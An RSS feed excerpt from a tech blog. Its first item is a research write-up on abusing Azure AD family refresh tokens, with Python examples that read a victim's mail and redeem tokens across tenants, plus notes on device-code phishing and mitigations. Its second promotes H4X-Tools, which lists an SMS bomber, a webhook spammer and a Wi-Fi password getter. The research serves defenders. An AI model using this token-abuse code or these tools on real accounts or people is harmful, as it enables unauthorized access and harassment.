<h3 class="heading-element" dir="auto" tabindex="-1"><em>What is the mechanism and purpose behind this undocumented behavior?</em></h3>
</div>
<p dir="auto">The term “FOCI” is only <a href="https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/concept-all-sign-ins" rel="nofollow">mentioned once</a> in official Microsoft documentation, which revealed 1) FOCI is an acronym for “Family of Client IDs” and 2) that FOCI is related to signing into multiple Microsoft Office applications on mobile devices. No further information was available on its purpose or functionality.</p>
<p dir="auto">Error codes in the responses from the authorization server led us to the open-source projects for various Microsoft Identity software development kits (SDKs) hosted on Github. A <a href="https://github.com/AzureAD/azure-activedirectory-library-for-objc/issues/453" data-hovercard-type="issue" data-hovercard-url="/AzureAD/azure-activedirectory-library-for-objc/issues/453/hovercard">Github issue</a> titled “Family of Client IDs Support” contained a description of FOCI that aligned with the observed behavior:</p>
<blockquote>
<p dir="auto">&#8220;FUTURE SERVER WORK WILL ALLOW CLIENT IDS TO BE GROUPED ON THE SERVER SIDE IN A WAY WHERE A RT FOR ONE CLIENT ID CAN BE REDEEMED FOR A AT AND RT FOR A DIFFERENT CLIENT ID AS LONG AS THEY&#8217;RE IN THE SAME GROUP. THIS WILL MOVE US CLOSER TO BEING ABLE TO PROVIDE SSO-LIKE FUNCTIONALITY BETWEEN APPS WITHOUT REQUIRING THE BROKER (OR WORKPLACE JOIN).&#8221;</p>
</blockquote>
<p dir="auto">We then found references in the source code calling refresh tokens issued to FOCI clients &#8220;family refresh tokens&#8221; (or FRTs). Based on developer remarks, it appears there is only <a href="https://github.com/AzureAD/microsoft-authentication-library-for-python/blob/3062770948f1961a13767ee85dd7ba664440feb3/msal/application.py#L1171">one family ID currently in use</a> at Microsoft.</p>
<p dir="auto">In MSRC submission VULN-057712, Microsoft confirmed that FOCI and family refresh tokens are an intentional software feature. Microsoft engineering provided a thoughtful (and quite lengthy) response describing the origins of FOCI and its threat model, which confirmed the findings from this research. According to Microsoft, FOCI was designed to support pseudo single sign-on (SSO) functionality for Microsoft mobile applications. FOCI mirrors the behavior of mobile operating systems that store authentication artifacts (such as refresh tokens) in a shared token cache with other applications from the same software publisher.</p>
<div class="markdown-heading" dir="auto">
<h3 class="heading-element" dir="auto" tabindex="-1"><em>Which client applications are compatible with each other?</em></h3>
</div>
<p dir="auto">Here is the list of known FOCI &#8220;family&#8221; clients discovered during our experimentation:</p>
<table>
<thead>
<tr>
<th>Application ID</th>
<th>Application Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>00b41c95-dab0-4487-9791-b9d2c32c80f2</td>
<td>Office 365 Management</td>
</tr>
<tr>
<td>04b07795-8ddb-461a-bbee-02f9e1bf7b46</td>
<td>Microsoft Azure CLI</td>
</tr>
<tr>
<td>1950a258-227b-4e31-a9cf-717495945fc2</td>
<td>Microsoft Azure PowerShell</td>
</tr>
<tr>
<td>1fec8e78-bce4-4aaf-ab1b-5451cc387264</td>
<td>Microsoft Teams</td>
</tr>
<tr>
<td>26a7ee05-5602-4d76-a7ba-eae8b7b67941</td>
<td>Windows Search</td>
</tr>
<tr>
<td>27922004-5251-4030-b22d-91ecd9a37ea4</td>
<td>Outlook Mobile</td>
</tr>
<tr>
<td>4813382a-8fa7-425e-ab75-3b753aab3abb</td>
<td>Microsoft Authenticator App</td>
</tr>
<tr>
<td>ab9b8c07-8f02-4f72-87fa-80105867a763</td>
<td>OneDrive SyncEngine</td>
</tr>
<tr>
<td>d3590ed6-52b3-4102-aeff-aad2292ab01c</td>
<td>Microsoft Office</td>
</tr>
<tr>
<td>872cd9fa-d31f-45e0-9eab-6e460a02d1f1</td>
<td>Visual Studio</td>
</tr>
<tr>
<td>af124e86-4e96-495a-b70a-90f90ab96707</td>
<td>OneDrive iOS App</td>
</tr>
<tr>
<td>2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8</td>
<td>Microsoft Bing Search for Microsoft Edge</td>
</tr>
<tr>
<td>844cca35-0656-46ce-b636-13f48b0eecbd</td>
<td>Microsoft Stream Mobile Native</td>
</tr>
<tr>
<td>87749df4-7ccf-48f8-aa87-704bad0e0e16</td>
<td>Microsoft Teams &#8211; Device Admin Agent</td>
</tr>
<tr>
<td>cf36b471-5b44-428c-9ce7-313bf84528de</td>
<td>Microsoft Bing Search</td>
</tr>
</tbody>
</table>
<p dir="auto">This list is not exhaustive. We believe that the presence of the <code>foci</code> field in final leg of the grant flow is a high confidence indicator that the client belongs to the FOCI &#8220;family.&#8221; We will add new clients as they are discovered in this <a href="https://github.com/dirkjanm/family-of-client-ids-research/blob/main/known-foci-clients.csv">repository</a>.</p>
<div class="markdown-heading" dir="auto">
<h3 class="heading-element" dir="auto" tabindex="-1"><em>What are the security implications of Family Refresh Tokens?</em></h3>
</div>
<p dir="auto">Family refresh tokens are a special kind of refresh token that disregard the token binding safeguards defined in the OAuth 2.0 specifications. Since a family refresh token issued to any &#8220;family&#8221; client application can be redeemed for access tokens for every/any/all other family client applications, a family refresh token effectively provides the possessor with access to the union of all scopes in the family. This has some serious and likely unintended consequences given that there are hundreds of scopes with pre-consent for these FOCI &#8220;family&#8221; client applications. Microsoft argued that a risk of refresh token theft applies to all OAuth public clients, which is certainly true. But Microsoft did not acknowledge that family refresh tokens &#8211; being unbound to either client application or scope &#8211; pose a higher risk of abuse.</p>
<p dir="auto">To highlight the different levels of access afforded by the access tokens we&#8217;ve acquired so far, let&#8217;s imagine a scenario where an attacker steals tokens issued to the Azure CLI. This is quite plausible because these tokens are often stored in plain-text on disk in <code>~/.azure/accessTokens.json</code>.</p>
<div class="markdown-heading" dir="auto">
<h3 class="heading-element" dir="auto" tabindex="-1">Example 7 &#8211; Privilege Differences between Access Tokens</h3>
</div>
<pre><span class="pl-k">def</span> <span class="pl-en">read_email_messages</span>(<span class="pl-s1">access_token</span>: <span class="pl-s1">str</span>) <span class="pl-c1">-&gt;</span> <span class="pl-v">List</span>[<span class="pl-v">Dict</span>[<span class="pl-s1">str</span>, <span class="pl-v">Any</span>]]:
    <span class="pl-s">"""List the user's email messages."""</span>
    <span class="pl-s1">url</span> <span class="pl-c1">=</span> <span class="pl-s">"https://graph.microsoft.com/beta/me/mailfolders/inbox/messages"</span>
    <span class="pl-s1">headers</span> <span class="pl-c1">=</span> {
        <span class="pl-s">"Content-Type"</span>: <span class="pl-s">"application/json"</span>,
        <span class="pl-s">"Authorization"</span>: <span class="pl-s">f"Bearer <span class="pl-s1"><span class="pl-kos">{</span>access_token<span class="pl-kos">}</span></span>"</span>,
    }
    <span class="pl-k">return</span> <span class="pl-s1">requests</span>.<span class="pl-en">get</span>(<span class="pl-s1">url</span>, <span class="pl-s1">headers</span><span class="pl-c1">=</span><span class="pl-s1">headers</span>).<span class="pl-en">json</span>()</pre>
<p dir="auto">If we try to use the access token for the Azure CLI client to call the <code>/beta/me/mailfolders/inbox/messages</code> endpoint, we should receive an error message from the API. This makes sense since the Azure CLI access token does not contain <code>Mail.*</code> related scopes and the Azure CLI has no legitimate reason to read user email.</p>
<div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto">
<pre><span class="pl-en">read_email_messages</span>(<span class="pl-s1">azure_cli_bearer_tokens_for_graph_api</span>.<span class="pl-en">get</span>(<span class="pl-s">"access_token"</span>))</pre>
</div>
<p dir="auto">But if the attacker redeemed the family refresh token issued to the Azure CLI to acquire new tokens for a different client with the necessary scopes (as we did with the Microsoft Office client in example 6), then the attacker could read the victim user&#8217;s emails with a newly minted access token instead.</p>
<div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto">
<pre><span class="pl-en">read_email_messages</span>(<span class="pl-s1">microsoft_office_bearer_tokens_for_graph_api</span>.<span class="pl-en">get</span>(<span class="pl-s">"access_token"</span>))</pre>
</div>
<p dir="auto">As defenders, we need to be aware of the blast radius of a stolen (or illictly acquired) family refresh token. It is not documented (or intuitive) that stolen Azure CLI tokens can be used to perform actions that exceed the consent granted to the Azure CLI client application itself.</p>
<p dir="auto">Family refresh tokens allow privilege escalation relative to the original client application. To be clear, the scopes authorized to newly minted access tokens when redeeming family refresh tokens do not exceed the level of access for the resource owner (user) in the Azure AD directory; it doesn&#8217;t allow lower privileged users to do things that they aren&#8217;t entitled to do in Azure or Microsoft 365. In other words, the level of access provided by a FRT relative to the user&#8217;s directory role assignments is unchanged. In this context, it does not qualify as privilege escalation. But from the OAuth and practical attack perspectives, the level of access provided by family refresh tokens greatly surpasses what the resource owner authorized to any given client application.</p>
<p dir="auto">Furthermore, redeeming family refresh tokens does not invalidate previously issued refresh tokens. The following examples shows that a single family refresh token can also be used to obtain access tokens for every family client application.</p>
<div class="markdown-heading" dir="auto">
<h3 class="heading-element" dir="auto" tabindex="-1">Example 8 &#8211; Family Refresh Token Chaining</h3>
</div>
<pre><span class="pl-k">from</span> <span class="pl-s1">utils</span> <span class="pl-k">import</span> <span class="pl-s1">get_tokens_for_foci_clients</span>

<span class="pl-s1">df</span> <span class="pl-c1">=</span> <span class="pl-en">get_tokens_for_foci_clients</span>(<span class="pl-s1">azure_cli_bearer_tokens_for_graph_api</span>, <span class="pl-s1">demo</span><span class="pl-c1">=</span><span class="pl-c1">True</span>)
<span class="pl-s1">df</span>.<span class="pl-en">head</span>()</pre>
<pre>(
    <span class="pl-s1">df</span>.<span class="pl-en">assign</span>(
        <span class="pl-s1">scp</span><span class="pl-c1">=</span><span class="pl-s1">df</span>.<span class="pl-s1">scp</span>.<span class="pl-s1">str</span>.<span class="pl-en">split</span>()
    )
    .<span class="pl-en">explode</span>(<span class="pl-s">'scp'</span>)
    .<span class="pl-en">groupby</span>([
        <span class="pl-s">'scp'</span>, 
        <span class="pl-s">'aud'</span>, 
        <span class="pl-s">'appid'</span>
    ])
    .<span class="pl-en">size</span>()
    .<span class="pl-en">to_frame</span>()
)</pre>
<div class="markdown-heading" dir="auto">
<h1 class="heading-element" dir="auto" tabindex="-1">Part 3 &#8211; Attack Paths</h1>
<p><a id="user-content-part-3---attack-paths" class="anchor-element" href="https://github.com/dirkjanm/family-of-client-ids-research?tab=readme-ov-file#part-3---attack-paths" aria-label="Permalink: Part 3 - Attack Paths"></a></div>
<p dir="auto">RFC 6819 enumerates a <a href="https://datatracker.ietf.org/doc/html/rfc6819#section-4.1.2" rel="nofollow">variety of attack paths</a> for malicious actors to obtain refresh tokens, all of which apply to family refresh tokens. Broadly speaking, these attacks involve either 1) stealing a previously and legitimately issued family refresh token or 2) obtaining a family refresh token through malicious authorization.</p>
<p dir="auto">There are multiple ways to steal family refresh tokens that were previously and legitimately issued to family client applications. For example, if the attacker compromises the cache where the tokens are stored (such as the Windows Web Account Manager), intercepts the tokens over network traffic during a grant flow, or finds them serialized on disk in files (such as the previous example of <code>~/.Azure/accessTokens.json</code>).</p>
<p dir="auto">We focused our attention, however, on how an attacker could obtain family refresh tokens by maliciously authorizing a family client application.</p>
<div class="markdown-heading" dir="auto">
<h2 class="heading-element" dir="auto" tabindex="-1">Device Code Phishing</h2>
</div>
<p dir="auto">Since the known family client applications are all so-called public clients (meaning they don’t have their own secrets), it is possible to use the <a href="https://datatracker.ietf.org/doc/html/rfc8628" rel="nofollow">device authorization grant flow</a> to obtain family refresh tokens. The device authorization grant flow has become synonymous with <a href="https://o365blog.com/post/phishing/" rel="nofollow">device code phishing</a>, a popular technique wherein the attacker tricks the victim into authorizing an OAuth application.</p>
<p dir="auto"><a href="https://github.com/dirkjanm/family-of-client-ids-research/blob/main/images/device-code.png" target="_blank" rel="noopener noreferrer"><img decoding="async" src="https://github.com/dirkjanm/family-of-client-ids-research/raw/main/images/device-code.png" alt="device-code" /></a></p>
<p dir="auto">During a device code phishing attempt, the victim is presented with information about the client application that is asking for authorization. The convenient benefits of device code phishing with family client applications are 1) user consent is not required and 2) the attacker can use whatever family client application is mostly likely to socially engineer the victim in the request, then redeem its family refresh token for a new access token for a different family client application authorized for the desired scopes.</p>
<p dir="auto">We leverage device code phishing to great effect during red team engagements, especially with FOCI clients. We have <a href="https://github.com/secureworks/PhishInSuits">published a tool</a> that we use to perform these attacks on the Secureworks Github.</p>
<div class="markdown-heading" dir="auto">
<h2 class="heading-element" dir="auto" tabindex="-1">Abusing Single Sign-On</h2>
</div>
<p dir="auto">Another simple and effective method to obtain family refresh tokens is to abuse single sign-on on Azure AD joined devices with Pass-The-PRT attacks. The OAuth 2.0 threat model describes a scenario where an attacker might obtain a refresh token through exploiting some mechanism that <a href="https://datatracker.ietf.org/doc/html/rfc6819#section-4.4.3.3" rel="nofollow">automatically authorizes</a> client applications without knowledge or intent from the resource owner. This is trivially possible on Azure AD joined Windows devices with single sign-on enabled.</p>
<p dir="auto">Any process that executes in the context of a logged-in Azure AD user on an Azure AD-joined Windows device can <a href="https://github.com/leechristensen/RequestAADRefreshToken">request a pre-signed cookie from a COM service</a>. This cookie can then be used to complete an authorization grant flow for arbitrary OAuth applications, including family client apps. There are <a href="https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/" rel="nofollow">other</a> <a href="https://o365blog.com/post/prt/" rel="nofollow">ways</a> to obtain these signed cookies as well.</p>
<p dir="auto"><a href="https://github.com/dirkjanm/family-of-client-ids-research/blob/main/images/sso-cs.png" target="_blank" rel="noopener noreferrer"><img decoding="async" src="https://github.com/dirkjanm/family-of-client-ids-research/raw/main/images/sso-cs.png" alt="sso-abuse" /></a></p>
<p dir="auto">Typically, the disadvantage of abusing SSO is that each time the attacker wants access to some scope that was not authorized to the stolen access token, the attacker must request a new signed cookie (or otherwise complete an authorization grant flow again) to obtain a new access token with the desired scopes. In the case of family refresh tokens, even if the attacker only generates a single pre-signed cookie, they can silently exchange the family refresh token multiple times for new access tokens for other family client applications.</p>
<p dir="auto">We have abused single sign-on to authorize FOCI clients during red team engagements. It is convenient that we can run tools such as AzureHound to minimize interactive user sign-ins when multiple tokens with the necessary scopes.</p>
<div class="markdown-heading" dir="auto">
<h1 class="heading-element" dir="auto" tabindex="-1">Part 4 &#8211; Mitigations against Family Refresh Tokens</h1>
</div>
<div class="markdown-heading" dir="auto">
<h2 class="heading-element" dir="auto" tabindex="-1">Conditional Access Policies</h2>
</div>
<p dir="auto">Conditional access policies still apply to family client applications and family refresh tokens. Conditional access policies that require multi-factor authentication, however, do not impede attackers from abusing legitimately issued family refresh tokens since refresh token grants are always non-interactive and usually inherit the authentication method claims from the original authorization grant. Furthermore, conditional access policies based on trusting the device are ineffective when a family client application is maliciously authorized by abusing SSO because the request does indeed originate from the trusted device.</p>
<p dir="auto">Any conditional access policies (or other controls) based purely on the family client application identifiers are trivial to bypass if another client in the family also has consent for the desired scopes. We were pleasantly surprised in recent testing that the options for cloud apps in the conditional access policy criteria appear to be based on the resource, rather than the client ID. This is significantly more secure, since defenders can focus on hardening sensitive scopes, rather than playing whack-a-mole with client applications that may be granted consent for those sensitive scopes in the future.</p>
<p dir="auto">In the response to VULN-057712, Microsoft noted that they plan to improve conditional access policies to allow restricting the issuance of family refresh tokens and unbound refresh tokens in the future.</p>
<div class="markdown-heading" dir="auto">
<h2 class="heading-element" dir="auto" tabindex="-1">Auditing Sign-In Logs</h2>
</div>
<p dir="auto">Whenever a refresh token is used to obtain new bearer tokens, an event will appear in the Azure AD sign-in logs under the “User sign-ins (non-interactive)” tab.</p>
<p dir="auto"><a href="https://github.com/dirkjanm/family-of-client-ids-research/blob/main/images/signins.png" target="_blank" rel="noopener noreferrer"><img decoding="async" src="https://github.com/dirkjanm/family-of-client-ids-research/raw/main/images/signins.png" alt="signins" /></a></p>
<p dir="auto"><a href="https://github.com/dirkjanm/family-of-client-ids-research/blob/main/images/signins-scopes.PNG" target="_blank" rel="noopener noreferrer"><img decoding="async" src="https://github.com/dirkjanm/family-of-client-ids-research/raw/main/images/signins-scopes.PNG" alt="signins-scopes" /></a></p>
<p dir="auto">Non-interactive sign-in events are frequently overlooked by defenders. There is currently no indication if the sign-in was done using a family refresh token. Defenders will need to monitor these logs for known FOCI client identifiers, especially when there are bursts of non-interactive sign-ins for multiple FOCI clients in a short period of time. Unfortunately, Microsoft dismissed the idea of publishing the current list of FOCI clients because the “list changes frequently with new apps and removal of old apps.”</p>
<div class="markdown-heading" dir="auto">
<h2 class="heading-element" dir="auto" tabindex="-1">Revoking Refresh Tokens</h2>
</div>
<p dir="auto">Family refresh tokens are long-lived and provide a tremendous level of access to protected resources. Because resetting a compromised user&#8217;s password does not automatically invalidate bearer tokens that have already been issued in many circumstances, defenders must aggressively revoke refresh tokens whenever an account is suspected to be compromised.</p>
<div class="highlight highlight-source-powershell notranslate position-relative overflow-auto" dir="auto">
<pre><span class="pl-c1">Connect-AzureAD</span>
<span class="pl-c1">Revoke-AzureADUserAllRefreshToken</span> <span class="pl-k">-</span>ObjectId johndoe<span class="pl-smi">@contoso.com</span></pre>
<div class="zeroclipboard-container"></div>
</div>
<p dir="auto">A feature called <a href="https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/concept-continuous-access-evaluation" rel="nofollow">continuous access evaluation</a> (CAE) enables Azure AD to notify resource servers when a “critical event” happens to a user, such as a password reset, letting the resource server reject otherwise valid tokens. CAE is not yet supported by all client applications and resource servers.</p>
<div class="markdown-heading" dir="auto">
<h1 class="heading-element" dir="auto" tabindex="-1">Conclusion</h1>
</div>
<p dir="auto">Refresh tokens are long-lived credentials that allow anyone in possession to mint new access tokens. The scopes authorized for these access tokens determine the blast radius from refresh token theft. The OAuth 2.0 specifications include safeguards to mitigate potential risk: refresh tokens ought to be bound to the same client application and limited to the same scopes as the original authorization.</p>
<p dir="auto">The Azure AD implementation of OAuth 2.0 differs from the specification in a few important and undocumented ways. Azure AD does not enforce the safeguards for refresh tokens. All refresh tokens in Azure AD disregard the first safeguard because they are not bound to the same scopes as the original authorization. The recently discovered “Family of Client IDs” (FOCI) feature disregards both safeguards with special “family refresh tokens” (FRTs). FRTs allow the bearer to mint new access tokens for any “family” client application and for any of the scopes that the chosen family client has been granted consent.</p>
<p dir="auto">While Azure AD asks users to specifically and explicitly delegate access to third-party OAuth applications, Microsoft does not ask the same for first-party applications. Microsoft pre-authorizes many of its own OAuth applications to manage the dependencies between heavily integrated cloud services &#8211; providing so-called “implied consent” for users. All the known family client applications identified during our testing were granted implied consent and present by default in our Azure AD test tenant. But the very idea “consent” seems incompatible with the fact that the clients and scopes with pre-authorization remain unknown to users and administrators.</p>
<p dir="auto">It is reasonable for Microsoft to hide complexity that users and administrators don’t need to worry about. But undocumented features like FOCI have sufficient security implications to warrant informing defenders; anything less is just security through obscurity. Organizations must know how and why first-party applications access their data to determine legitimate business need &#8211; and be able to deny access to applications without it.</p>
<p dir="auto">In response to our MSRC submission Microsoft stated: “in the future we may move away from FOCI completely.” In the interim, the community should encourage Microsoft to publish documentation on FOCI, including a list of family client applications to monitor for potential abuse. We should be prepared to implement Microsoft’s planned improvements to conditional access policies, which would restrict the issuance of family refresh tokens. Lastly, defenders must be vigilant to revoke refresh tokens for any suspected compromised accounts.</p>
<div class="markdown-heading" dir="auto">
<h1 class="heading-element" dir="auto" tabindex="-1">Extras</h1>
</div>
<div class="markdown-heading" dir="auto">
<h2 class="heading-element" dir="auto" tabindex="-1">Example &#8211; Redeem FRT Across Tenants</h2>
<p><a id="user-content-example---redeem-frt-across-tenants" class="anchor-element" href="https://github.com/dirkjanm/family-of-client-ids-research?tab=readme-ov-file#example---redeem-frt-across-tenants" aria-label="Permalink: Example - Redeem FRT Across Tenants"></a></div>
<pre><span class="pl-k">def</span> <span class="pl-en">check_tenants_api</span>(<span class="pl-s1">access_token</span>: <span class="pl-s1">str</span>) <span class="pl-c1">-&gt;</span> <span class="pl-v">List</span>[<span class="pl-v">Dict</span>[<span class="pl-s1">str</span>, <span class="pl-v">Any</span>]]:
    <span class="pl-s1">url</span> <span class="pl-c1">=</span> <span class="pl-s">'https://management.azure.com/tenants?api-version=2020-01-01'</span>
    <span class="pl-s1">headers</span> <span class="pl-c1">=</span> {
        <span class="pl-s">'Content-Type'</span>: <span class="pl-s">'application/json'</span>,
        <span class="pl-s">'Authorization'</span>: <span class="pl-s">f'Bearer <span class="pl-s1"><span class="pl-kos">{</span>access_token<span class="pl-kos">}</span></span>'</span>
    }
    <span class="pl-k">return</span> <span class="pl-s1">requests</span>.<span class="pl-en">get</span>(<span class="pl-s1">url</span>, <span class="pl-s1">headers</span><span class="pl-c1">=</span><span class="pl-s1">headers</span>).<span class="pl-en">json</span>().<span class="pl-en">get</span>(<span class="pl-s">'value'</span>)


<span class="pl-s1">azure_cli_bearer_tokens_for_azure_mgmt_api</span> <span class="pl-c1">=</span> (
    <span class="pl-s1">azure_cli_client</span>.<span class="pl-en">acquire_token_by_refresh_token</span>( 
        <span class="pl-s1">new_azure_cli_bearer_tokens_for_graph_api</span>.<span class="pl-en">get</span>(
            <span class="pl-s">"refresh_token"</span> 
        ),
        <span class="pl-s1">scopes</span><span class="pl-c1">=</span>[
            <span class="pl-s">"https://management.core.windows.net/user_impersonation"</span> 
        ],  
    )
)

<span class="pl-s1">other_tenants</span> <span class="pl-c1">=</span> <span class="pl-en">check_tenants_api</span>(
    <span class="pl-s1">azure_cli_bearer_tokens_for_azure_mgmt_api</span>.<span class="pl-en">get</span>(<span class="pl-s">'access_token'</span>)
)

<span class="pl-en">pprint</span>(<span class="pl-s1">other_tenants</span>)</pre>
<div class="zeroclipboard-container"></div>
<p dir="auto">If the victim user is a B2B guest in another tenant, it should appear in the results. Pick a desired tenant ID, then run the following:</p>
<div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto">
<pre><span class="pl-s1">tenant_b</span> <span class="pl-c1">=</span> <span class="pl-en">input</span>(<span class="pl-s">"Provide a tenant ID: "</span>)

<span class="pl-s1">microsoft_office_client_tenant_b</span> <span class="pl-c1">=</span> <span class="pl-s1">msal</span>.<span class="pl-v">PublicClientApplication</span>(
    <span class="pl-s">"d3590ed6-52b3-4102-aeff-aad2292ab01c"</span>,
    <span class="pl-s1">authority</span><span class="pl-c1">=</span><span class="pl-s">f"https://login.microsoftonline.com/<span class="pl-s1"><span class="pl-kos">{</span>tenant_b<span class="pl-kos">}</span></span>"</span>
)

<span class="pl-s1">microsoft_office_tenant_b_bearer_tokens_for_graph_api</span> <span class="pl-c1">=</span> (
    <span class="pl-s1">microsoft_office_client_tenant_b</span>.<span class="pl-en">acquire_token_by_refresh_token</span>(
        <span class="pl-s1">azure_cli_bearer_tokens_for_azure_mgmt_api</span>.<span class="pl-en">get</span>(<span class="pl-s">"refresh_token"</span>),
        <span class="pl-s1">scopes</span><span class="pl-c1">=</span>[<span class="pl-s">"https://graph.microsoft.com/.default"</span>],
    )
)

<span class="pl-en">pprint</span>(<span class="pl-s1">microsoft_office_tenant_b_bearer_tokens_for_graph_api</span>)

<span class="pl-en">check_my_oauth2PermissionGrants</span>(
    <span class="pl-s1">microsoft_office_tenant_b_bearer_tokens_for_graph_api</span>.<span class="pl-en">get</span>(<span class="pl-s">"access_token"</span>)
)</pre>
</div>
<p>The post <a href="http://kostacipo.stream/abusing-family-refresh-tokens-for-unauthorized-access-and-persistence-in-azure-active-directory/">Abusing Family Refresh Tokens For Unauthorized Access And Persistence In Azure Active Directory</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/abusing-family-refresh-tokens-for-unauthorized-access-and-persistence-in-azure-active-directory/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>H4X-Tools &#8211; Designed for Scraping, OSINT and Beyond</title>
		<link>http://kostacipo.stream/h4x-tools-designed-for-scraping-osint-and-beyond/</link>
					<comments>http://kostacipo.stream/h4x-tools-designed-for-scraping-osint-and-beyond/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Wed, 21 Feb 2024 23:53:50 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Exploitation Tools]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[scraping]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2184</guid>

					<description><![CDATA[<p>Discover the power of H4X-Tools, a versatile toolkit designed for scraping, OSINT (Open-Source Intelligence), and beyond. From extracting information from social media accounts to conducting phone and IP lookups, H4X-Tools offers a wide array of functionalities to aid researchers, developers, and security enthusiasts alike. Explore its features, installation process, and community-driven development in this article. [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/h4x-tools-designed-for-scraping-osint-and-beyond/">H4X-Tools &#8211; Designed for Scraping, OSINT and Beyond</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Discover the power of H4X-Tools, a versatile toolkit designed for scraping, OSINT (Open-Source Intelligence), and beyond.</p>
<p>From extracting information from social media accounts to conducting phone and IP lookups, H4X-Tools offers a wide array of functionalities to aid researchers, developers, and security enthusiasts alike.</p>
<p>Explore its features, installation process, and community-driven development in this article. Toolkit for scraping, OSINT and more.</p>
<p>Submit feature requests and bugs in the <a href="https://github.com/V1li/H4X-Tools/issues" target="_blank" rel="noreferrer noopener nofollow">issues</a> tab.</p>
<p>If you want to help with the development, follow the instructions in <a href="https://github.com/vil/H4X-Tools/blob/master/CONTRIBUTING.md" target="_blank" rel="noreferrer noopener nofollow">contributing</a> and simply open a pull request. You can also <a href="https://vili.dev/#donate" target="_blank" rel="noreferrer noopener nofollow">donate</a> to keep the project alive and me motivated!</p>
<h2 class="wp-block-heading"><strong>Current Tools</strong></h2>
<h3 class="wp-block-heading"><strong>Warning</strong></h3>
<p>Some tools might not work on Windows systems.</p>
<figure class="wp-block-table">
<table>
<thead>
<tr>
<th>Tool Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ig Scrape</td>
<td>Scrapes information from IG accounts.</td>
</tr>
<tr>
<td>Web Search</td>
<td>Searches the internet for the given query.</td>
</tr>
<tr>
<td>Phone Lookup</td>
<td>Looks up a phone number and returns information about it.</td>
</tr>
<tr>
<td>Ip Lookup</td>
<td>Looks up an IP/domain address and returns information about it.</td>
</tr>
<tr>
<td>Port Scanner</td>
<td>Scans for open ports in a given IP/domain address.</td>
</tr>
<tr>
<td>Username Search</td>
<td>Tries to find a given username from many different websites.</td>
</tr>
<tr>
<td>Email Search</td>
<td>Efficiently finds registered accounts from a given email. Thanks to <a href="https://github.com/megadose/holehe" target="_blank" rel="noreferrer noopener nofollow">holehe.</a></td>
</tr>
<tr>
<td>Webhook Spammer</td>
<td>Spams messages to a discord webhook.</td>
</tr>
<tr>
<td>WhoIs Lookup</td>
<td>Looks up a domain and returns information about it.</td>
</tr>
<tr>
<td>SMS Bomber</td>
<td>Spams messages to a given mobile number.</td>
</tr>
<tr>
<td>Fake Info Generator</td>
<td>Generates fake information using <a href="https://pypi.org/project/Faker/" target="_blank" rel="noreferrer noopener nofollow">Faker</a>.</td>
</tr>
<tr>
<td>Web Scrape</td>
<td>Scrapes links from a given url.</td>
</tr>
<tr>
<td>Wi-Fi Finder</td>
<td>Scans for nearby Wi-Fi networks.</td>
</tr>
<tr>
<td>Wi-Fi Password Getter</td>
<td>Scans for locally saved Wi-Fi passwords.</td>
</tr>
<tr>
<td>Dir Buster</td>
<td>Bruteforce directories on a website.</td>
</tr>
<tr>
<td>Local Accounts Getter</td>
<td>Scans for all local accounts and their information.</td>
</tr>
<tr>
<td>Caesar Cipher</td>
<td>Encrypts/decrypts/bruteforce a message using the Caesar cipher.</td>
</tr>
<tr>
<td>BaseXX</td>
<td>Encodes/decodes a message using Base64/32/16.</td>
</tr>
<tr>
<td>About</td>
<td>Tells you about the tool.</td>
</tr>
<tr>
<td>Donate</td>
<td>My crypto addresses where to donate.</td>
</tr>
<tr>
<td>Exit</td>
<td>Exits the tool.</td>
</tr>
</tbody>
</table>
</figure>
<h2 class="wp-block-heading"><strong>Note</strong></h2>
<p>-IG Scrape requires you to log in, in order to use it.</p>
<p>-SMS Bomber only works with US numbers.</p>
<p>-You might get rate limited after using some of the tools for too long.</p>
<h2 class="wp-block-heading"><strong>Installation</strong></h2>
<p>I’ll upload already built executables to the <a href="https://github.com/vil/H4X-Tools/releases" target="_blank" rel="noreferrer noopener nofollow">releases</a> tab, but I’d recommend installing the tool manually by following the instructions below. This way you also get the freshest version.</p>
<h2 class="wp-block-heading"><strong>Setup</strong></h2>
<p>Important</p>
<p>Make sure you have <a href="https://www.python.org/downloads/" target="_blank" rel="noreferrer noopener nofollow">Python</a> and <a href="https://git-scm.com/downloads" target="_blank" rel="noreferrer noopener nofollow">Git</a> installed.</p>
<p>View the <a href="https://github.com/vil/H4X-Tools/wiki" target="_blank" rel="noreferrer noopener nofollow">wiki page</a> for more detailed tutorial.</p>
<h2 class="wp-block-heading"><strong>Linux</strong></h2>
<ol>
<li>Clone the repo <code>git clone https://github.com/vil/h4x-tools.git</code></li>
<li>Change directory <code>cd h4x-tools</code></li>
<li>Run <code>sh setup.sh</code> in terminal to install the tool.</li>
</ol>
<h2 class="wp-block-heading"><strong>Windows</strong></h2>
<ol>
<li>Clone the repo <code>git clone https://github.com/vil/h4x-tools.git</code></li>
<li>Change directory <code>cd h4x-tools</code></li>
<li>Run the <code>setup.bat</code> file.</li>
</ol>
<p>Setup files will automatically build the tool as an executable. You can also run the tool using <code>python h4xtools.py</code> in the terminal.</p>
<p>Also, dependencies can be installed manually using <code>pip install -r requirements.txt</code>.</p>
<p>The post <a href="http://kostacipo.stream/h4x-tools-designed-for-scraping-osint-and-beyond/">H4X-Tools &#8211; Designed for Scraping, OSINT and Beyond</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
